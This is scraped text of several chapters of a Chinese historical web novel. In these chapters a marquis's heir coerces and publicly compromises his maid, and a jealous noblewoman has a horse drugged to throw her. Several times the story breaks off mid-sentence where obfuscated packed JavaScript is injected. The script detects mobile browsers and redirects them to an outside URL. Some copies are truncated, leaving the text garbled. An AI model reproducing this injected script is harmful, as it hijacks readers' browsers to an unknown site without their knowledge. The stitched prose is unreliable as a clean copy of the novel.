可谢宴之却丝毫不动,只是强势地拉着她,不让她起身。 就在二人僵持不下时,老夫人已经来到了跟前。 李慧妍见状,掐了自己的手背一下,眼里有了更多的泪。 她轻轻握住李慧妍的手,语气里满是疼惜:“李小娘子,你受委屈了。” 说着,又转身对着向她行礼的沈清念厉声道:“怎么这般没规矩,没看到将军府的李小娘子在这么?还不快让座。” 李慧妍仍是低垂着眼帘,嘴角却勾起一抹不易察觉的弧度。 眼角也恰到好处地滑下一滴泪来。 她又不想让人看见她落泪般,转身用帕子点了点泪珠。 这才开口道:“老夫人,是我自己不愿坐的,您就别责怪她了。” 谢宴之闻言,抬头看了李慧妍一眼,颇有些意味地扬了扬嘴角。 这李小娘子有些意思,若是让她入了靖南侯府,沈清念怕是要招架不住的。 老夫人听李慧妍这样说,又看她明明很是委屈,却还强撑着身子,努力让自己维持着贵女的矜持和端庄。 又听她还在替沈清念说话,这份气度,颇有当家主母的风范。 心里对她做孙媳妇又满意了几分。 沈清念当然知道老夫人是在敲打她。 将军府的小姐,自然是比她这江南商户之女矜贵得多。这李小娘子不是她这种身份的人可比的,自然是要给人让座。 更何况她现在还是丫鬟的身份。 不仅不该坐下,还应当给这位李小娘子,端茶送水,尽到一个丫鬟应尽的本分。 沈清念试着将手臂从谢宴之手中抽出,谢宴之却仍然没有放手。 老夫人见状,对着谢宴之道:“宴哥儿,不要胡闹!” 谢宴之闻言,嘴角下沉,冷声道:“是我让她坐的。” 说着,又看向沈清念,冷漠的眸子里含了些深情。 “她平日里最是悉心照顾孙儿的起居。” “昨夜用自己的身体替孙儿取暖,差点染了风寒。我待她自然与旁人不同。” 听到这话,李慧妍脸上的柔弱瞬间僵住,眼泪也忘了掉。 她没想到,这丫鬟竟是和谢宴之住在了同一个屋子里。 难怪他待她如此不同,原来是他的通房丫头,不然二人不可能这么亲近? 她的眼睛狠狠盯住沈清念那张出尘的脸蛋儿。 没想到,眼前这个丫头看着清丽,骨子里竟这样龌蹉,半夜爬主子的床! 老夫人闻言,瞳孔放大。沈清念不是当众拒绝了宴哥儿?怎么还爬了床了? 还有宴哥儿!李小娘子还在这儿呢,宴哥儿就这样当着她的面将这些事说了出来。 这让小娘子如何受得了? 对李小娘子来说,简直是奇耻大辱! 沈清念则是猛地看向谢宴之,眼底也满是震惊和不解。 她很想质问他知不知道自己在说什么。 她何时做过用身子替他取暖的事? 他这几句话,不仅让她颜面无存,还把她推到了风口浪尖,让她成了所有人的眼中钉! 她都不敢想象老夫人和那李小娘子此刻看向她的眼神有多么冰凉! 她悻悻地低着头道:“世子,昨夜奴婢只是在您还未回府的时候,暖了一会儿床而已。” “都是奴婢的本分,不敢劳世子另眼相待。” 沈清念这样一说,李慧妍和老夫人皆是松了一口气。 原来是这样,谢宴之的话确实让人误会。 还好这沈清念识大体,懂得替宴哥儿遮掩。 由着宴哥儿的性子。 李慧妍对沈清念这变相的解释很满意。 这丫头还是会审时度势的,还晓得安抚她。 日后,待她住到了谢宴之的院子,还是可以将她配一个不错的小厮的。 谢宴之此时却站了起来,直接握住了沈清念的手:“那是我记错了。” 沈清念听后,朝他点了点头。心里终于好受了些。 谢宴之总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424695|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算没有再胡言乱语,毁她清誉了。 老夫人和李小娘子那边,也算是安抚下来了。 “应当是上次你和我一同沐浴时,差点着了风寒。” 沈清念的脸怔了怔。 上次她和他一同沐浴? 她想起来了,是在云州,她跪着求他的那一晚! 她醒过来就发现自己和他一同泡在浴桶里。 她还不小心瞧见了他的…… 沈清念的脸一阵红一阵白,整个人是又羞又恼。 谢宴之实在是太无耻了! 她一时也不知如何回答,只能低着头站在那儿,看地上能否长出个洞来,好叫她钻进去。 谢宴之将她的神色全看在眼里,嘴角微微扬起一个弧度。 看她那微微泛红的面颊,想必她是记起来了。 老夫人和李慧妍见沈清念那几经变化的脸色,心里也有了数。 这次谢宴之说的,恐怕是真的了。 李慧妍心里又气又羞。 他们二人竟还做了这么亲密的事。 谢宴之怎么能将身子给这么个丫头糟践? 他明明是她的,他待她却冷漠得像一块寒冰。 李慧妍轻轻咬了咬唇,看了看沈清念的身段儿。 该饱满的饱满,该细软的地方细软。确实是曲线玲珑的好身段儿! 她承认,这身段儿只是比她的,差了一点点。 总有一天,她要用自己的柔情,捂化他这块坚冰。 让谢宴之知道,什么才是人间极品。 老夫人听着谢宴之的话,都觉得自己的老脸快挂不住了。 心里更是埋怨沈清念就是个不知廉耻的。 既然与宴哥儿有了肌肤之亲,还装什么清高! 可眼下,还是要先安抚住李小娘子才是。 老夫人见谢宴之还抓着沈清念的手,心道今日李小娘子怕是很难坐过去了。 她随即对着李慧妍道:“李小娘子,不如同我一道去边上红袖山庄逛逛。” 老夫人近日腿有些疼,原本今日礼了佛,就要去红袖山庄用温泉水泡泡脚的。 李慧妍本不想去,今日老夫人约她一道来礼佛,就是让她来和谢宴之多相处的。 现下又要将她叫走,她还怎么跟谢宴之相处呢? 第一百三十二章 蹲在那里怎么伺候他 李慧妍捏了捏帕子,犹豫间见老夫人瞥了一眼旁边的谢宴之,又给了她一个眼色。 她心领神会,老夫人一定是另有安排。 她立刻笑着道:“那小女就同老夫人一起去。” 老夫人拍了拍李慧妍的手背,欣慰道:“好孩子。” 说着,又看向一旁的谢宴之道:“宴哥儿,别忘了跟上来。” 说完,老夫人和李慧妍一行人便走出了院子,往红袖山庄去了。 见老夫人和李慧妍走远,谢宴之才松开沈清念,悠哉地坐下,端起沈清念面前的茶盏喝起茶来。 沈清念则坐在一边,揉了揉被他弄红的手腕儿,有些气恼道:“世子方才为何要那样对奴婢?” 谢宴之闻言,微微一笑:“本世子哪样对你了?” 刚才谢宴之的做法实在是有些过分了。 不仅当众对她动手动脚,还让她惹上了李慧妍。 那泡澡的事明明不像他说的那般暧昧,如今她也是百口莫辩。 只能由着老夫人和李慧妍看轻她! 沈清念看谢宴之那副没心没肺,毫不在意的样子,忍不住道:“你明知那李小娘子对你有意,你还故意用我来激她。” “还有你的那些话,你……!” 谢宴之道:“她对我有意又如何?我只觉得她烦人得很。” “你现在是我的丫鬟,为我这个主子分忧,难道不是你的本分?” 说着,他抬起眼皮看了沈清念一眼。 “我说的那话难道不曾发生过?” 想着她刚刚那奴婢撇清二人关系的样子,他的眼眸又冷了下来。 “还是说,你想我去喜欢那李小娘子?” 沈清念一愣,他要不要喜欢关她什么事? 她才不在乎他喜欢谁,只要谢宴之不再揪着她不放就行。 她也看得出来,那李小娘子应当是被谢宴之这副俊朗的皮囊所迷惑,以为他是谦谦如玉的公子。 只有她才知道,谢宴之私下是多么地令人厌恶。 沈清念面色淡淡:“世子喜不喜欢,是世子的事。” “只是我瞧着李小娘子贵为将军府的小姐,跟您的家世是相配的,又对您一往情深,实属难得。” 听了沈清念的话,谢宴之几乎要将那茶盏捏碎。 “沈清念,你再说一遍?” 她那话是什么意思? 见别的女子爱慕他,她不仅没有一丝醋意。 还说什么实属难得?是在说他谢宴之是没人要吗? 沈清念见他面色又沉了下来,知他明白了她的意思了。 她就是在劝他,还有姑娘喜欢他,他就该偷着乐了,还挑剔什么。 不过,谢宴之此时直直盯着她,眼神里是怒意和警告。 沈清念怕他又发什么疯,乖乖闭了嘴,一个字也不再吐露。 谢宴之重重将茶杯往桌上一放,起身吐出一个字:“走!” 说完,也不等沈清念,自己径直就往外走去。 沈清念手忙脚乱地拿着茶盏,提着茶壶,匆匆追了上去。 只是,在他们走了以后,大雄宝殿侧门探出了两个身影。 平安看向萧怀意:“公子,沈姑娘跟着世子走了。” 萧怀意摇了摇扇子,脸上的神情不似往日的洒脱,反倒多了一分严肃。 他没想到,谢宴之竟让沈姑娘做他的奴婢! 他不在京城这些日子,沈姑娘究竟遇到了什么事? 平安见公子神情凝重,又问道:“公子刚刚为何不出去见沈姑娘?” 刚刚那谢世子走了,只要公子出现,沈姑娘肯定会留下来的。 萧怀意摇了摇头,声音里带着不易察觉的心疼:“沈姑娘现在那样狼狈,我怕她见到我会不自在。” 他抬手将扇子合拢:“继续跟着他们。” 沈清念跟着谢宴之来了红袖山庄。 她抬头看去,山庄前那朱红的大门厚重庄严,顶上悬挂着一块黑檀木匾额。 “红袖山庄”几个大字,笔力遒劲,又用金粉加以点缀,显得富贵气派。 守门的小厮见着谢宴之,立刻躬身行礼。 沈清念跟着谢宴之走进山庄,脚下是平整的青石板路,两侧种着玉兰树,带着淡淡的香气。 绕过一座假山后,眼前的景色令她眼睛一亮。 山庄里竟然有一片宽阔的草地,与远处的山脚相连。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425831|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的马厩里拴着些许骏马,**色油亮,一看就是精心喂养的良种。 小厮领着他们到了跑温泉的院子。 院子中央的文鹏冒着热气,池边摆着白玉石桌,周围栽着翠竹,清幽舒适。 谢宴之回头见沈清念打量着四周,嘴角微微扬起。 “这里怎么样?” 沈清念手指抚过那白玉石桌,笑着道:“很是不错。” 虽然她在江南长大,见惯了山山水水,但温泉,还是第一次见。 待她转身,见谢宴之已经褪去外衫,她慌忙转过身去。 谢宴之见状,嘴角微微扬起,缓缓进入池中,靠在池壁上。“过来伺候我泡温泉。” 听了这话,沈清念攥了攥衣角,心中很是不愿,却也只能点点头。 她缓缓走到池边,蹲着身子,见谢宴之一直盯着她。 她心跳如雷。 谢宴之见氤氲的水汽中,她的脸犹如出尘的仙子般。 又见她有些拘谨地蹲在那里,不知道该怎么做。 他觉得有些好笑。 她蹲在那里怎么伺候他泡温泉? 这样想着,他打算帮她一把。 只见他向沈清念伸出手去,想将她拉入水中。 沈清念在池边,见谢宴之忽然向她伸出手来,她也明白了他的意图。 吓得连连后退几步,生怕被谢宴之拖入水中,声音里带着几分紧张道:“奴婢去找小厮拿帕子来。” 说着,就逃也似地出了院子。 谢宴之看着那慌乱的背影,冷哼一声:“看你能躲到几时!” 沈清念走到院子外才长长舒了一口气。 跟谢宴之共处一室是一件极其危险的事。 正巧有小厮拿了巾子来,见到沈清念,二话不说便递到了她手里。 这里面的贵人只带了这一个丫鬟,那势必是贴身伺候的丫鬟,他才不去自讨没趣。 沈清念原本还想喊住那小厮,她此刻实在不想回去那院子里。 正在苦恼之际,一个声音传来:“是你?” “谢宴之那个通房丫头?” 沈清念顺着声音看过去,先是一怔,随后脸上露出了笑容。 第一百三十三章 水珠划过他坚实的胸膛 沈清念朝着李慧妍福了一礼:“李小娘子。” 李慧妍看着沈清念手上拿着巾子出现在长廊里,再看向她身后的院子。 那里面是红袖山庄最好的汤池,心里也有了数。 谢宴之应当就是在里面泡温泉吧。 现在那丫头还向她行了一礼,脸上也带着浅浅的笑意。 李慧妍心里冷哼一声,她这是在向她示好? 想着这个丫头是谢宴之的通房,她就觉着心里有些发闷。 但现在谢宴之就在里面,也不是为难她的时候。 思及此处,李慧妍依旧保持着端庄,面色平静,微微颔首,欲从沈清念身边过去。 沈清念见李慧妍脸上神色淡淡,双手拢着袖子,迈着小步子而来。 头上的步摇随着她的步子,微微晃动。 见到她也没有因为刚才谢宴之的事而有半分恼色。 这李小娘子也的确是有京城贵女的风范。 在李慧妍擦身而过的瞬间,沈清念忽然开口:“我不是世子的通房。” “嗯?”李慧妍的步子顿了顿,侧过头看向沈清念,眉宇间带着几分不耐。 “你与我说这个做什么?” 她盯着沈清念,收起了方才的温柔,语气有些严厉道:“就算你不是世子的通房,你也与世子有了肌肤之亲。” “本就不清不楚了,你又何必向我多此一举,向我辩解许多!” 按谢宴之的话,他二人同在一个浴桶里,他们哪还有什么清白可言。 沈清念听到这话,抬头看向李慧妍:“事情未必就是李小娘子听到的那样。” “总之,我从不曾觊觎世子。” 李慧妍看着沈清念,见她脊背挺直、说话不卑不亢。 竟恍惚觉得她不像是伺候人的下人,反倒有几分主子的气度。 “可世子还是对你动了心!” 李慧妍压下心头异样,语气更沉。 就算这丫头对世子没那心思,但谢宴之对她那般维护宠溺。 为了护住她,连老夫人出面,都不曾退后一步。 可见谢宴之被她迷得不清。 “我已有婚约在身,还有一年就能出府。” “还请李小娘子助我。” 沈清念压低声音,眼神诚恳。 “哦?你当真对世子无意,也舍得这侯府的富贵生活?” 沈清念点点头,语气坚定:“还请李小娘子相助。” 李慧妍眼中有些诧异,看她的样子,不似作假。 这丫鬟对谢宴之竟真的无意? 她让她帮忙,这种事要怎么帮? 这丫头生得这般美貌,谢宴之到时会舍得放她走吗? 李慧妍有些不耐道:“你是谢世子看上的人,那我又能如何助你?我又能怎样让他不再对你上心?” 沈清念闻言,知道李慧妍对她放下了敌意了。 这也正是她拦下李慧妍的目的。 一是要跟她说清楚,她与谢宴之没什么。 二是李慧妍既然心悦谢宴之,那就让她多缠着些谢宴之,省得他老来烦她。 “只需时常在世子身边出现,不让我与世子二人独处就行。” 闻言,李慧妍略一思索,又听到沈清念的声音: “你家世容貌样样都好,又有老夫人的喜欢。” “与世子多亲近,用不了多久,世子就会心悦于你,不再惦记我的。” 李慧妍觉得沈清念夸她的样貌好,家世好,心里有些得意。 也觉得她的话有些有些道理。 这丫鬟不就是成天在谢宴之身边转悠,谢宴之才对她日久生情的吗? 若是她时常在他身边展现才情温柔,凭她的本事,谢宴之也会对她日久生情吧。 温泉池中,谢宴之听见推门的声音,知道是沈清念去而复返。 心道沈清念她倒是会磨蹭,出去了这样久。 可最后还不是要乖乖回来? 他想做的事,她是躲不掉的。 这样想着,谢宴之缓缓从水中站起来,转过身来。 水珠顺着他的发丝滴落,滑过坚实的胸膛,再顺着腰线隐入水中。 李慧妍见状,脸上一红,慌忙低下了头,手上绞着帕子,心里扑通跳个不停。 她还是头一次看到男子的身体。 还是谢宴之这样的,让她想起来方才所见,就耳尖泛红。 沈清念也有些猝不及防,她没想到谢宴之就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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即使他落在她耳边的话,带着明显的驱赶之意,也还是让李慧妍隐隐地有些窃喜。 她微微抬眸,见那衣襟还未拢好,脸上又是一红。 毕竟她是将军府的小姐,要保持端庄温柔的,也要做到非礼勿视。 可眼下,谢宴之那凌厉的眼神,仿佛看出了她的心中所想。 顾不得池中的沈清念,李慧妍提着裙摆,逃也似地跑出了院子。 谢宴之这才回头,目光如隼地看着正要爬出池子的那人…… 第一百三十四章 念儿现在有些不方便 沈清念此刻浑身湿透,只想赶快爬上去。 忽然身后传来一阵水声,她的心猛地一沉,她知道是谢宴之来了。 她不敢再多想,心中只一个念头,不要被谢宴之抓住。 沈清念更加奋力往池边一跃,却扑了个空。 身后一只大手,拦住了她的腰肢,将她拽了回去,直直地撞进一个坚实的胸膛。 “到哪儿去?” 头顶传来谢宴之的冰冷的声音,让她心下一沉,心扑通跳个不停。 她知道谢宴之是生气了。 果然,谢宴之将她翻了个身,伸出手捏着她的下巴,迫使她抬头看着他。 那眸子里是隐忍的怒火。 “我方才正要禀报李小娘子进来的事,你就……” 沈清念声音越来越低,最后几乎是细若蚊蚋,只好偏过头去,躲避他的目光。 谢宴之闻言,险些气得笑出声来。 他松开沈清念的下巴,上前一步,将人抵在池边。 沈清念的背猝不及防地撞上池边的石壁,疼得她闷哼一声。 谢宴之俯身凑到她的耳边,声音冰冷道:“你带着人闯进来把本世子看光,现在反倒成了本世子的错了?” “不是,我只是……” 话到了嘴边,又咽了回去。 沈清念根本没想到谢宴之会突然站起来。 她只是想让李小娘子进来,希望谢宴之看在有旁人在的份儿上,举止上有所收敛。 没料到会这样? “只是什么?不想跟我一起?” 他待她虽算不上温柔,可也从没有真的苛待过她,她就这么想摆脱他? 想到这儿,心中的火气更盛了,揽着她腰肢的手也不自觉地收紧了几分。 “你以为将那李小娘子带来,就能救了你了?” 沈清念满眼惊诧,谢宴之竟然知道她的心思。 她张了张嘴,却一个字也说不出来,只能愣愣地看着他。 “你是我的丫鬟,谁也救不了你!” 沈清念皱着眉,长长的睫毛因紧张而颤抖。 她艰难地点点头,唯恐再将他惹怒。 这头,李慧妍跑出来后,才想起那个丫头还在里面。 她的心猛地一揪。 那丫鬟现在是不是正和谢宴之一起在浴池中? 一想到谢宴之可与别的女子共处一室,李慧妍就忍不住心烦。 不管那丫头的话是真是假,她都不许她的男人被人抢了去。 金螺此时跟在老夫人身后一起过来了。 她一眼就看到自家小姐在那长廊上,魂不守舍地踱来踱去。 忙喊了一声:“小姐!” 李慧妍闻声抬头,就看到刘麽麽扶着老夫人来了。 而金螺也跟在老夫人身侧。 她敛了敛心神,上前福礼:“老夫人。” “李小娘子,你怎么了?”老夫人见她面色不好,眉宇间有一丝愁绪,关切地问道。 方才这李小娘子的衣裳弄脏了些,说是要回屋子里整理一下。 可现在,那衣裳还是没有整理。 不知是发生了何事,让这李小娘子第一次慌了神。 老夫人说着,便伸手去拉李慧妍:“走,回屋子里去整理衣裳。” “别……” 李慧妍轻轻挣开老夫人的手,咬着唇,缓缓低下了头。 手上绞着帕子,看起来有些为难。 老夫人何等精明,一看她这神情,便知她定有话要说,于是拍了拍她的手背,温声道:“李小娘子,有什么,不妨直说。” 李慧妍犹豫了片刻,才细声细气地开口:“我方才打算回房,路过前面那处院门时,隐约听见了一些……一些奇怪的声音,所以才迟迟没敢走。” 说完,她故意顿了顿,垂下眼眸,摆出一副羞于启齿的模样。 老夫人看向那院子,料想是谢宴之又在里面胡闹了。 他平日里绝不会做出这么孟浪的事来。 宴哥儿这是故意要惹得李小娘子不开心的。 她住了拄拐杖道:“随我去瞧瞧,宴哥儿素来不是胡闹之人,可能是有什么误会。” 说着,给了刘麽麽一个颜色。 刘麽麽瞧见了,便往院门走去,轻轻敲了敲门,扬声道:“世子,老夫人来看您了。” 刘麽麽这样大的声音,就是觉着若世子真的在里面胡闹,她能提醒世子,收敛一下。 谢宴之此时已经换好了一身玄色的锦袍,坐在梨花木椅上,把玩着一副莹白的白玉棋子。 棋子在他指间来回滚动,发出清脆的碰撞声。 而沈清念则躲在屏风后面,看着谢宴之的衣袍犯了难。 她本就不知今日要来泡温泉,更没想到谢宴之会将她拉入水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“本来这些事是由念儿来做的,但她现在有些不太方便。” 沈清念躲在屏风后面,本就是坐立不安的。 听到这话,心更是提到了嗓子眼,连呼吸都快停住了。 谢宴之这是想干什么?他明知道自己现在的处境,竟然还故意提起她! 她现在真的是要被谢宴之气得昏厥了。 第一百三十五章 他低头轻轻哄她 老夫人闻言,脸色一变。 李慧妍虽然还保持着端庄的仪态,可握着帕子的手却不自觉地收紧了些,脸色也变得有些难看。 老夫人疑惑道:“她怎么不方便了?” 闻言,谢宴之起身,慢条斯理地整理了一下袖口,然后迈步朝着屏风后面走去。 老夫人这才发现屏风后面是隐约有个人影。 那曼妙的曲线,一看便知是个女子! 她的脸色瞬间沉了下来,没想到沈清念竟带着宴哥儿胡闹! 沈清念在屏风后听得清清楚楚,知道谢宴之要过来了,也顾不得其他。 趁着谢宴之还未到屏风这里,慌忙将衣袍套在了自己身上。 谢宴之走到屏风后,正好看到沈清念低头系着腰带。 他本就生得比她高大许多。 他的衣裳在她身上,自然也要大些。 却没想到那袖子长了一大截,下摆更是拖到了地上,几乎要将她整个人都包裹进去。 谢宴之看着她这副样子,眼底不由得闪过一丝笑意。 沈清念系好了腰带,试着往前走了一步,却踩到了衣角,直直往前栽去,稳稳地落在了谢宴之的怀里。 沈清念抬起头,见谢宴之望向她的眸子里闪过一丝笑意。 她气恼得很,却又不能发作,只能挣扎着从谢宴之的怀里起来,轻声道:“多谢世子。” 谢宴之见她故作疏离的样子,嘴角一扬,直接将人拦腰抱起,声音也变得柔和起来:“你我之间,何须言谢?” 说着,便抱着沈清念,脚步平稳地朝老夫人和李慧妍走了过来。 刘麽麽和金螺见状,眼中皆是一惊,连忙转过身去。 李慧妍几乎要坐不住了。 谢宴之对那个叫念儿的丫头总是那样温柔,好似那个对她冷得像冰一样的人,只是她的错觉。 她紧紧攥着手中的帕子,指节都泛了白,脸上端庄的笑容早已绷不住。 嘴角微微下垂,眼神里满是委屈与嫉妒,却又只能强忍着,不敢表露出来。 老夫人在一旁看着,脸色更是难看。她重重地咳嗽了一声,开口道:“宴哥儿,你这成何体统!当着这么多人的面,抱着一个姑娘家,像什么话!” 谢宴之这才抬眼看向老夫人,语气却依旧带着几分随意:“念儿可不算什么姑娘家,她是我的贴身丫鬟。” 说着,低头宠溺地看了沈清念一眼。 沈清念被他看得头皮发麻,压着声音道:“谢宴之,你够了!” 说着,便试着从谢宴之怀里挣脱出来。 谢宴之这一天都在发疯,真是令她有些受不了了。 谢宴之闻言,低头紧紧贴到了沈清念的额头上,压着声音道:“乖,别动!” “别惹我生气,嗯?” 沈清念吓得脸色发白,手也不自觉地颤抖起来。 她知道,谢宴之的话不是在说笑。 以他的性子,若真的动了怒,自己根本没有反抗的余地。她只能闭上眼睛,任由他抱着。 这一幕落在李慧妍眼里,是多么刺眼的一幕。 那个奴婢那样没规矩地叫他的名字,他还能低头轻轻哄她。 看向她的眼里,也是浓浓温情。 李慧妍看向沈清念的眼神里像淬了毒。 她心中是慢慢的嫉妒。 何时,他也能这样温柔地对她。 老夫人简直是要被这两人气晕了。 谢宴之将人抱到了老夫人跟前,道:“方才念儿掉到池子里,撞到了池壁,身体有些不适。” “我先送她回房休息,就不陪李小娘子和祖母多说话了。” 说完,他便抱着沈清念,径直朝着门外走去。 李慧妍坐在那里,只觉得浑身不自在。 仿佛周围的目光都在盯着她,让她无地自容。 她端起桌上的茶杯,想要掩饰自己的尴尬,可手却控制不住地颤抖,茶水都洒了出来,打湿了她的裙摆。 金螺赶紧上去掏出帕子来将她的裙摆擦了擦。 老夫人看着谢宴之离去的背影,又看了看李慧妍的有些失态地模样,无奈地叹了口气,道:“李小娘子,宴哥儿他从前不是这样的。” 想到李慧妍看到宴哥儿与沈清念这般亲密,宴哥儿又如此冷待李慧妍。 老夫人断定,她应当是伤了心了,或是生气了,应当也不愿嫁到靖南侯府了。 “要不,两家的婚事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,沈清念跌坐在地上。 虽然她心中已经知道谢宴之不会轻易放过她。 可是谢宴之亲口说出来时,她还是觉得难以承受。 她愤恨的看着谢宴之,觉得他真是无耻至极!她质问道: “你为何要在李小娘子面前这样对我?” “为何要在老夫人面前让我如此丢脸?” 谢宴之冷眼看着她:“只是为了让你认清楚,本世子对你的偏爱。” “你想当丫鬟,本世子就随着你的性子,任由你胡闹。” “可你却要得寸进尺,想将我拱手让人,沈清念,你是不是觉得我很有耐性!” 这样说着,就凑到沈清念面前,直直盯着她。 沈清念一步步后退,他看她的那种眼神,让她从骨子里感到害怕。 她起身提着裙摆跑了出去。 谢宴之坐在桌前,烦躁的看向那背影。 总归这次也是她先惹恼他的。 沈清念一边跑,一边用手擦着眼泪。 谢宴之怎么可以将那些无耻的事说得这么理直气壮! 正跑着,旁边忽然伸出一只大手捂住了她的嘴。 “沈姑娘!”一个声音在耳边响起。 沈清念听到声音,转头一看,竟是萧怀意! “萧公子!你怎么会在这里?” 萧怀意笑了笑,他就是来寻她的呀。 他一直派人注意着谢宴之的动静。 直到平安看到谢宴之带着沈清念去万宝寺,他才跟着来了。 他没有说话,只是那样看着她。 这些时日不见,沈姑娘消瘦了许多。 红红的眼睛还带着泪痕。 谢宴之竟让她受如此委屈。 沈清念见萧怀意没说,微微皱起眉头。 想着当日在醉风楼,她说的那些拒绝萧怀意的话。 她觉得有些愧疚,转身要离开。 萧怀意一把抓住了沈清念的手又松开,害怕冒犯到她。 “沈姑娘,你想不想离开京城?” 沈清念满眼诧异,萧怀意怎么知道她的心思。 “谢宴之不会让我走的。” “我走了,我姨母也会受到牵连。” 沈清念将事情的始末告诉了萧怀意。 “萧公子,你不必为了我冒险。” 萧怀意眉头拧紧。 没想到谢宴之为了逼迫沈姑娘,这些下作的手段都用上了。 他对沈姑娘还真是爱慕至极。 “后日我要离开京城,回滇城去。” “只要你想,一切交给我。” 他这回是将萧洪意带回京城,交到刑部去。 圣上见萧家大义灭亲,终于同意放过萧家。 他现在要回去代替萧洪意接手滇城的一切。日后这萧家,就是他萧怀意的了。 萧怀意见沈清念看着他的眼神里有些担忧。 “你是怕我敌不过谢世子?” “不必担心。” 萧怀意笑了笑,或许在这京城,他现在还敌不过。 但是出了京城,谢宴之未必是他的对手。 “相信我,沈姑娘。” 沈清念看到他的眼睛,点了点头。 如今她不能惊动谢宴之,否则,谢宴之可能真的会将她关起来。 沈清念整理好了情绪往回走,脑海里回忆着萧怀意的话: “沈姑娘,依照计划,后日我在城门外等着你。” “不管你来不来,我都会等到掌灯时分。” 她心中想着,不能让谢宴之发现她与萧怀意见面的事。 也不能惹恼他。 正往回走着,她忽然看见那边有一匹通体雪白的马,像极了小时候父亲给她买的那只小马。 她朝着那马走过去,笑着伸手抚了抚那马儿。 一旁的小厮问道:“姑娘想不想骑一会儿?” “可以吗?”沈清念眼中带着些期待。 她许久未骑马,她很想试试。 那小厮笑着道:“这里的客人都可以骑。这马温顺,又漂亮,很适合姑娘。” 说着,那小厮便将沈清念扶上马背,将鞭子给了她。 沈清念坐上马背,轻轻一蹬脚,马儿便跑了起来。 李慧妍此时从马厩后面出来,那小厮满脸堆笑,一脸讨好地靠了过来:“小姐,我给那马下足了药,您就放心吧。” 李慧妍看了金螺一眼,金螺掏出了一锭银子放到小厮手里,那小厮乐呵呵地走了。 李慧妍嘴角扯了一个笑容,一副看好戏的样子。 此时,沈清念察觉马儿越来越不对劲,它跑得越来越快,怎么都停不下来。 沈清念只觉得自己被颠得要吐了。 正在这时,那马突然在原地立起了身子。 沈清念一时不察,被甩到地上,眼见那马马蹄就要落下。 一个身影闪过,她被人护在了身下。 那人抱着她在草地上翻滚几圈才停了下来。 沈清念这才看到谢宴之按着手臂,额上都是冷汗。 李慧妍看到这一幕,恨不得绞碎手中的帕子。 谢宴之竟然不顾危险去救那个丫头,伤到了手臂! 沈清念赶紧扶着谢宴之起身往屋子里去。 经过李慧妍身边时,谢宴之看了她一眼。 李慧妍咬了咬唇,谢宴之竟然用那种眼神看她,那眼神里包含警告! 大夫已经屋子里等着了。 那大夫一遍替谢宴之包扎,一边感叹道:“还好世子功夫好,不然这胳膊很可能就被马蹄踩断了。” 沈清念也没想到刚才的情形那样危险,谢宴之还来救她。 谢宴之看沈清念神色有些愧疚,嘴角扬起了一个弧度。 最后,一行人回了观澜居 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苏姨娘拍拍沈清念的手背:“既然这萧公子是可靠之人,你就随他走。” “不用担心我。大公子已经在为二爷寻医。” “二爷定能康复的,到时大公子也不会为难我。” 沈清念心知姨母是放不下二爷的。 她心里只盼着二爷能早日恢复以往的风采,好好护着苏姨娘。 二人知道都知道,沈清念这一走往后可能都难以见面,又抱在一起哭了好一会儿。 离了苏姨娘的院子,沈清念又找到了菱儿。 “明日你找个理由出府,到城外去,平安会在那儿等着。” 菱儿有些疑惑,随即又反应过来,惊讶得捂住了嘴。 她们又要离开京城了!这次还是和萧公子一起走! “谢宴之机敏得很,我得晚些时候来才和你们汇合。” 菱儿点点头。 她这几都和元青一起盯着二房那边的动静。 每日都需要出府向周大夫禀报谢二爷的情况,元青则负责盯着二夫人的行踪。 于她而言,出府不难的。 交代后一切后,主仆二人又说了会儿话。 第二日晌午,菱儿便出了府。 沈清念替谢宴之包扎了伤,又去厨房传了晚膳。 平日里,谢宴之用膳很快,今日却是慢里斯条的。 沈清念看着天色越来越晚,心里也有些焦急。 还有半刻钟,就要到掌灯时分了。 好在此时,谢宴之趴在桌上睡了过去。 沈清念心下一松,从柜子里取出一只小荷包,又从谢宴之身上掏了腰牌。 这才蹑手蹑脚出了门,一路向城门口跑去。 第一百三十七章 抬起腰奋力挺了进去 晚风阵阵,吹在沈清念的脸上是那样舒适。 她远远地看见城门外的马车,萧怀意站在马车旁,似乎在与旁边的人说着些什么。 远处灯火点点。 她就要到了。 她得快一点,再快一点。 这样想着,沈清念加快步子,却不小心撞到了过路的行人。 